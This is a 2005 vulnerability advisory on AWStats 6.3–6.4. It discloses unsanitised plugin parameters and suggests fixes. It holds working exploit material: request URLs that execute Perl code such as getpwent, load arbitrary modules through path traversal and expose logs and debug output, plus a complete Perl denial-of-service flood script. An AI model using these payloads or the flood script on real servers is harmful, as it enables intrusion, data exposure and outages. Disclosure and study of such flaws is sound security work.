AWStats <= 6.4 Multiple vulnerabilities
/*==========================================*/
// GHC -> AWStats <- ADVISORY
\\ PRODUCT: AWStats
// VERSION: <= 6.3
\\ URL: http://awstats.sourceforge.net/
// VULNERABILITY CLASS: Multiple vulnerabilities
\\ RISK: high
/*==========================================*/
[Product Description]
"AWStats is a free powerful tool that generates advanced web, ftp or mail
server statistics, graphically.
This log analyzer works as a CGI or from command line and shows you all
possible information your log contains,
in few graphical web pages".
Current stable version: AWStats 6.3 final
Development version is 6.4 - 2005-02-06 14:31
[Summary]
Successful exploitation of an input validation vulnerability in AWStats scripts
allows attackers to execute limited perl directives under the privileges of
the web server, get sensetive information.
Some actions of the attacker can lead to denial of service.
[Details]
Some AWStats's functions can be extended with plugins.
Two variables (loadplugin & pluginmode) are dealing with it.
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2);
the second one
runs plugin's functions.
Exploitable example (raw log plugin):
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
Server answer:
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1"
500 606
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1"
500 606
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css
HTTP/1.1" 200 2986
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1"
200 7710
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET
/themes/standard/images/logo.gif HTTP/1.1" 200 14443
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200
429
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1"
200 2532
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET
/themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET
/themes/standard/images/vcss.gif HTTP/1.1" 200 1547
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1"
200 7333
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1"
200 7588
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1"
200 7910
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1"
200 7340
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200
153
The dangerous fact is that attacker can read sensitive information such as
IP address, admin scripts names, non encoded GET queries, etc.
Our variables pass some verification (as others), but it is not enough for
security:
sub Sanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;
return $stringtoclean;
}
Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.
It's enough for variables with path to configuration files, but not for plugin
tasks.
In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust
to the user.
So, let's see what can be done, in fact.
[1] Perl code execution.
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
we'll get the action in next piece of code:
# AWStats output is replaced by a plugin output
if ($PluginMode) {
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
if ($? || $@) { error("$@"); }
&html_end(0);
exit 0;
}
If variable exists, we'll get code execution. This happens after sanitizing
(see privious).
Here we have intresting part in:
my $function="BuildFullHTMLOutput_$PluginMode()";
eval("$function");
This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from
rawlog.pm plugin).
Ideal case: "module name"::BuildFullHTMLOutput_"function name"().
But if we won't specify the name of module (with "loadplugin" parameter) we'll
get the next:
main::BuildFullHTMLOutput_"function name"().
By the way, there is permited symbol ':' in user input parameters. So, we can
send:
PluginMode=:print+getpwent
And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
This will satisfy eval() requirements., and :print getpwent() is executed.
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
Sanitazing limits user's input, but there is no filtration for call sympols
'()'.
Here we can see that somebody can perform DoS attack.
This is example of simple code for successful DoS exploitation:
#!/usr/bin/perl
use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep
HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}
while () {
$rp = rand;
&ConnectServer;
}
[BUGFIX]
Change vulnerable code for:
sub PluginSanitize {
my $stringtoclean=shift;
$stringtoclean =~ s/[^\w]//g;
return $stringtoclean;
}
[2] Arbitrary plugin including.
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
Arbitrary module from user's input through "loadplugin" parameter can be
included with "require" function..
Bugfix - as above or something like this:
opendir (PDIR, './plugins');
@FilesPDIR = readdir(PDIR);
closedir (PDIR);
foreach $FilesPName (@FilesPDIR) {
if ($FilesPName =~ m/$loadplugin/) {
}
}
The good thing is the poison null-byte (%00) has no place (transferes to 00).
[3] Sensetive information leak in AWStats version 6.3(Stable) -
6.4(Development).
Every user can access debug function:
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
[DISCLOSURE TIMELINE]
10-02-2005 Initial vendor notification.
14-02-2005 No response.
14-02-2005 Bug-traq post.
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